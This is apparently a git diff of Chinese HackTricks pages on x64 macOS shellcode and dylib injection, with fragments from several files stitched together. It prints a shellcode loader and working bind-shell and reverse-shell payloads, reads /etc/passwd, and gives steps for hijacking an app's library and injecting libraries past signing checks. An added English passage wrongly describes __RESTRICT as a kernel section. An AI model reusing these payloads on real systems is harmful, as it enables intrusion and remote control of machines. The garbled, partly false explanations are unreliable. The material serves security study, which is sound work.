* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## **x64简介**
|
||||
|
||||
x64,也被称为x86-64,是一种主要用于桌面和服务器计算的64位处理器架构。它起源于由英特尔生产的x86架构,并在后来由AMD采用并命名为AMD64,是个人计算机和服务器中普遍使用的架构。
|
||||
|
||||
### **寄存器**
|
||||
|
||||
x64扩展了x86架构,具有16个通用寄存器,标记为`rax`,`rbx`,`rcx`,`rdx`,`rbp`,`rsp`,`rsi`,`rdi`和`r8`到`r15`。每个寄存器可以存储一个64位(8字节)的值。这些寄存器还具有32位、16位和8位的子寄存器,用于兼容性和特定任务。
|
||||
|
||||
1. **`rax`** - 传统上用于函数的**返回值**。
|
||||
2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
|
||||
3. **`rcx`** - 常用于**循环计数器**。
|
||||
4. **`rdx`** - 用于各种角色,包括扩展算术运算。
|
||||
5. **`rbp`** - 栈帧的**基指针**。
|
||||
6. **`rsp`** - **栈指针**,跟踪栈的顶部。
|
||||
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
|
||||
8. **`r8`** 到 **`r15`** - 在x64中引入的额外通用寄存器。
|
||||
|
||||
### **调用约定**
|
||||
|
||||
x64的调用约定在操作系统之间有所不同。例如:
|
||||
|
||||
* **Windows**:前**四个参数**通过寄存器**`rcx`**,**`rdx`**,**`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。
|
||||
* **System V(通常用于类UNIX系统)**:前**六个整数或指针参数**通过寄存器**`rdi`**,**`rsi`**,**`rdx`**,**`rcx`**,**`r8`**和**`r9`**传递。返回值也在**`rax`**中。
|
||||
|
||||
如果函数有超过六个输入,则**其余参数将通过栈传递**。**RSP**,即栈指针,在任何调用发生之前必须是**16字节对齐**的,这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前,我们的shellcode中的RSP被正确对齐。然而,在实践中,即使不满足这个要求,系统调用也经常能够正常工作。
|
||||
|
||||
### **常见指令**
|
||||
|
||||
x64指令具有丰富的指令集,保持与早期x86指令的兼容性并引入新的指令。
|
||||
|
||||
* **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个位置。
|
||||
* 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`。
|
||||
* **`push`** 和 **`pop`**:将值推送到/从**栈**中弹出。
|
||||
* 示例:`push rax` — 将`rax`中的值推送到栈上。
|
||||
* 示例:`pop rax` — 将栈顶的值弹出到`rax`中。
|
||||
* **`add`** 和 **`sub`**:**加法**和**减法**操作。
|
||||
* 示例:`add rax, rcx` — 将`rax`和`rcx`中的值相加,并将结果存储在`rax`中。
|
||||
* **`mul`** 和 **`div`**:**乘法**和**除法**操作。注意:这些操作对操作数的使用有特定的行为。
|
||||
* **`call`** 和 **`ret`**:用于**调用**和**从函数返回**。
|
||||
* **`int`**:用于触发软件**中断**。例如,在32位x86 Linux中,`int 0x80`用于系统调用。
|
||||
* **`cmp`**:比较两个值并根据结果设置CPU的标志位。
|
||||
* 示例:`cmp rax, rdx` — 将`rax`与`rdx`进行比较。
|
||||
* **`je`**,**`jne`**,**`jl`**,**`jge`**,...:**条件跳转**指令,根据先前的`cmp`或测试结果改变控制流。
|
||||
* 示例:在`cmp rax, rdx`指令之后,`je label` — 如果`rax`等于`rdx`,则跳转到`label`。
|
||||
* **`syscall`**:在某些x64系统(如现代Unix)中用于**系统调用**。
|
||||
* **`sysenter`**:在某些平台上优化的**系统调用**指令。
|
||||
### **函数序言**
|
||||
|
||||
1. **保存旧的基指针**: `push rbp`(保存调用者的基指针)
|
||||
2. **将当前栈指针移动到基指针**: `mov rbp, rsp`(为当前函数设置新的基指针)
|
||||
3. **在栈上为局部变量分配空间**: `sub rsp, <size>`(其中 `<size>` 是所需的字节数)
|
||||
|
||||
### **函数尾声**
|
||||
|
||||
1. **将当前基指针移动到栈指针**: `mov rsp, rbp`(释放局部变量)
|
||||
2. **从栈中弹出旧的基指针**: `pop rbp`(恢复调用者的基指针)
|
||||
3. **返回**: `ret`(将控制权返回给调用者)
|
||||
|
||||
## macOS
|
||||
|
||||
### 系统调用
|
||||
|
||||
有不同类别的系统调用,您可以在[**这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
|
||||
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
|
||||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
然后,您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)中找到每个系统调用的编号:
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
2 AUE_FORK ALL { int fork(void); }
|
||||
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
|
||||
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
|
||||
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
|
||||
6 AUE_CLOSE ALL { int close(int fd); }
|
||||
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
|
||||
8 AUE_NULL ALL { int nosys(void); } { old creat }
|
||||
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
|
||||
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
|
||||
11 AUE_NULL ALL { int nosys(void); } { old execv }
|
||||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
所以为了调用`open`系统调用(**5**),你需要将其添加为`0x2000000`。
|
||||
|
||||
因此,调用open的系统调用号将是`0x2000005`。
|
||||
|
||||
### Shellcode
|
||||
|
||||
编译如下:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
nasm -f macho64 shell.asm -o shell.o
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
提取字节的方法:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>用于测试shellcode的C代码</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
|
||||
sc = ptr;
|
||||
sc();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Shell
|
||||
|
||||
从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="使用adr" %}
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
_main:
|
||||
call r_cmd64
|
||||
db '/bin/zsh', 0
|
||||
r_cmd64: ; the call placed a pointer to db (argv[2])
|
||||
pop rdi ; arg1 from the stack placed by the call to l_cmd64
|
||||
xor rdx, rdx ; store null arg3
|
||||
push 59 ; put 59 on the stack (execve syscall)
|
||||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% tab title="使用堆栈" %}
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
||||
_main:
|
||||
xor rdx, rdx ; zero our RDX
|
||||
push rdx ; push NULL string terminator
|
||||
mov rbx, '/bin/zsh' ; move the path into RBX
|
||||
push rbx ; push the path, to the stack
|
||||
mov rdi, rsp ; store the stack pointer in RDI (arg1)
|
||||
push 59 ; put 59 on the stack (execve syscall)
|
||||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### 使用cat命令读取
|
||||
|
||||
目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数(x1)是一个参数数组(在内存中表示为地址的堆栈)。
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
global _main
|
||||
|
||||
_main:
|
||||
; Prepare the arguments for the execve syscall
|
||||
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
|
||||
|
||||
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
|
||||
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
|
||||
|
||||
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
|
||||
push rsi ; Add "/etc/passwd" to the stack (arg0)
|
||||
push rdi ; Add "/bin/cat" to the stack (arg1)
|
||||
|
||||
; Set in the 2nd argument of exec the addr of the array
|
||||
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
|
||||
|
||||
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
|
||||
|
||||
push 59 ; put 59 on the stack (execve syscall)
|
||||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall ; Make the syscall
|
||||
|
||||
section .data
|
||||
cat_path: db "/bin/cat", 0
|
||||
passwd_path: db "/etc/passwd", 0
|
||||
```
|
||||
#### 使用sh调用命令
|
||||
|
||||
To invoke a command using the `sh` command, you can use the following syntax:
|
||||
|
||||
要使用`sh`命令调用命令,可以使用以下语法:
|
||||
|
||||
```sh
|
||||
sh -c "command"
|
||||
```
|
||||
|
||||
For example, if you want to run the `ls` command using `sh`, you would use:
|
||||
|
||||
例如,如果你想使用`sh`运行`ls`命令,可以使用以下命令:
|
||||
|
||||
```sh
|
||||
sh -c "ls"
|
||||
```
|
||||
|
||||
This will execute the `ls` command as if it was run directly from the command line.
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
global _main
|
||||
|
||||
_main:
|
||||
; Prepare the arguments for the execve syscall
|
||||
sub rsp, 32 ; Create space on the stack
|
||||
|
||||
; Argument array
|
||||
lea rdi, [rel touch_command]
|
||||
push rdi ; push &"touch /tmp/lalala"
|
||||
lea rdi, [rel sh_c_option]
|
||||
push rdi ; push &"-c"
|
||||
lea rdi, [rel sh_path]
|
||||
push rdi ; push &"/bin/sh"
|
||||
|
||||
; execve syscall
|
||||
mov rsi, rsp ; rsi = pointer to argument array
|
||||
xor rdx, rdx ; rdx = NULL (no env variables)
|
||||
push 59 ; put 59 on the stack (execve syscall)
|
||||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
|
||||
_exit:
|
||||
xor rdi, rdi ; Exit status code 0
|
||||
push 1 ; put 1 on the stack (exit syscall)
|
||||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
|
||||
section .data
|
||||
sh_path: db "/bin/sh", 0
|
||||
sh_c_option: db "-c", 0
|
||||
touch_command: db "touch /tmp/lalala", 0
|
||||
```
|
||||
#### 绑定 shell
|
||||
|
||||
从 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 获取的绑定 shell,在**端口 4444**上。
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
_main:
|
||||
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
|
||||
xor rdi, rdi
|
||||
mul rdi
|
||||
mov dil, 0x2
|
||||
xor rsi, rsi
|
||||
mov sil, 0x1
|
||||
mov al, 0x2
|
||||
ror rax, 0x28
|
||||
mov r8, rax
|
||||
mov al, 0x61
|
||||
syscall
|
||||
|
||||
; struct sockaddr_in {
|
||||
; __uint8_t sin_len;
|
||||
; sa_family_t sin_family;
|
||||
; in_port_t sin_port;
|
||||
; struct in_addr sin_addr;
|
||||
; char sin_zero[8];
|
||||
; };
|
||||
mov rsi, 0xffffffffa3eefdf0
|
||||
neg rsi
|
||||
push rsi
|
||||
push rsp
|
||||
pop rsi
|
||||
|
||||
; bind(host_sockid, &sockaddr, 16)
|
||||
mov rdi, rax
|
||||
xor dl, 0x10
|
||||
mov rax, r8
|
||||
mov al, 0x68
|
||||
syscall
|
||||
|
||||
; listen(host_sockid, 2)
|
||||
xor rsi, rsi
|
||||
mov sil, 0x2
|
||||
mov rax, r8
|
||||
mov al, 0x6a
|
||||
syscall
|
||||
|
||||
; accept(host_sockid, 0, 0)
|
||||
xor rsi, rsi
|
||||
xor rdx, rdx
|
||||
mov rax, r8
|
||||
mov al, 0x1e
|
||||
syscall
|
||||
|
||||
mov rdi, rax
|
||||
mov sil, 0x3
|
||||
|
||||
dup2:
|
||||
; dup2(client_sockid, 2)
|
||||
; -> dup2(client_sockid, 1)
|
||||
; -> dup2(client_sockid, 0)
|
||||
mov rax, r8
|
||||
mov al, 0x5a
|
||||
sub sil, 1
|
||||
syscall
|
||||
test rsi, rsi
|
||||
jne dup2
|
||||
|
||||
; execve("//bin/sh", 0, 0)
|
||||
push rsi
|
||||
mov rdi, 0x68732f6e69622f2f
|
||||
push rdi
|
||||
push rsp
|
||||
pop rdi
|
||||
mov rax, r8
|
||||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
#### 反向 Shell
|
||||
|
||||
从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向 Shell。反向 Shell 到 **127.0.0.1:4444**。
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
_main:
|
||||
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
|
||||
xor rdi, rdi
|
||||
mul rdi
|
||||
mov dil, 0x2
|
||||
xor rsi, rsi
|
||||
mov sil, 0x1
|
||||
mov al, 0x2
|
||||
ror rax, 0x28
|
||||
mov r8, rax
|
||||
mov al, 0x61
|
||||
syscall
|
||||
|
||||
; struct sockaddr_in {
|
||||
; __uint8_t sin_len;
|
||||
; sa_family_t sin_family;
|
||||
; in_port_t sin_port;
|
||||
; struct in_addr sin_addr;
|
||||
; char sin_zero[8];
|
||||
; };
|
||||
mov rsi, 0xfeffff80a3eefdf0
|
||||
neg rsi
|
||||
push rsi
|
||||
push rsp
|
||||
pop rsi
|
||||
|
||||
; connect(sockid, &sockaddr, 16)
|
||||
mov rdi, rax
|
||||
xor dl, 0x10
|
||||
mov rax, r8
|
||||
mov al, 0x62
|
||||
syscall
|
||||
|
||||
xor rsi, rsi
|
||||
mov sil, 0x3
|
||||
|
||||
dup2:
|
||||
; dup2(sockid, 2)
|
||||
; -> dup2(sockid, 1)
|
||||
; -> dup2(sockid, 0)
|
||||
mov rax, r8
|
||||
mov al, 0x5a
|
||||
sub sil, 1
|
||||
syscall
|
||||
test rsi, rsi
|
||||
jne dup2
|
||||
|
||||
; execve("//bin/sh", 0, 0)
|
||||
push rsi
|
||||
mov rdi, 0x68732f6e69622f2f
|
||||
push rdi
|
||||
push rsp
|
||||
pop rdi
|
||||
xor rdx, rdx
|
||||
mov rax, r8
|
||||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -66,7 +66,7 @@ path @loader_path/../lib (offset 12)
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="@executable_path" %}
|
||||
{% tab title="@rpath" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
|
@ -91,7 +91,7 @@ compatibility version 1.0.0
|
|||
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
|
||||
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
|
||||
|
||||
然而,第一个位置不存在:
|
||||
然而,第一个库不存在:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/Burp Suite Professional.app
|
||||
|
@ -100,7 +100,7 @@ find ./ -name libjli.dylib
|
|||
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
|
||||
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
|
||||
```
|
||||
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出相同的功能,同时记得使用预期的版本进行编译:
|
||||
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出相同的功能,同时记得使用期望的版本进行编译:
|
||||
|
||||
{% code title="libjli.m" %}
|
||||
```objectivec
|
||||
|
@ -184,9 +184,15 @@ sudo chmod -s hello
|
|||
```
|
||||
### `__RESTRICT`部分与`__restrict`段
|
||||
|
||||
The `__RESTRICT` section is a special section in macOS that is used to restrict the dynamic linker's behavior. It contains a segment called `__restrict` which specifies the libraries that should be restricted from being loaded by the dynamic linker.
|
||||
The `__RESTRICT` section and `__restrict` segment are important components of macOS security. They play a crucial role in preventing privilege escalation and protecting the system from unauthorized access.
|
||||
|
||||
`__RESTRICT`部分是macOS中的一个特殊部分,用于限制动态链接器的行为。它包含一个名为`__restrict`的段,该段指定了应该限制动态链接器加载的库。
|
||||
`__RESTRICT` is a section in the macOS kernel that contains code and data that should not be modified or tampered with. It is designed to restrict access to critical system functions and prevent unauthorized modifications.
|
||||
|
||||
On the other hand, the `__restrict` segment is a memory segment that is marked as read-only and non-writable. It contains sensitive data and code that should not be modified or hijacked by malicious actors.
|
||||
|
||||
By enforcing strict restrictions on these sections and segments, macOS ensures the integrity and security of its kernel and prevents potential privilege escalation attacks.
|
||||
|
||||
Both the `__RESTRICT` section and `__restrict` segment are essential components of macOS's defense mechanisms and contribute to the overall security of the operating system.
|
||||
```bash
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
|
@ -197,25 +203,44 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
|||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Apply runtime proetction
|
||||
codesign -s <cert-name> --option=runtime ./hello
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
|
||||
|
||||
# Apply library validation
|
||||
codesign -f -s <cert-name> --option=library ./hello
|
||||
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
|
||||
|
||||
codesign -s <cert-name> inject.dylib
|
||||
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed
|
||||
# Sign it
|
||||
## If the signature is from an unverified developer the injection will still work
|
||||
## If it's from a verified developer, it won't
|
||||
codesign -f -s <cert-name> inject.dylib
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
|
||||
|
||||
# Apply CS_RESTRICT protection
|
||||
codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,即使有用标志**`0x0(none)`**签名的二进制文件,当执行时它们也可以动态地获得**`CS_RESTRICT`**标志,因此这种技术在它们上面不起作用。
|
||||
|
||||
您可以使用以下命令检查进程是否具有此标志(获取[**csops here**](https://github.com/axelexic/CSOps)): 
|
||||
```bash
|
||||
csops -status <pid>
|
||||
```
|
||||
然后检查是否启用了标志位0x800。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
# macOS危险权限
|
||||
|
||||
<details>
|
||||
|
||||
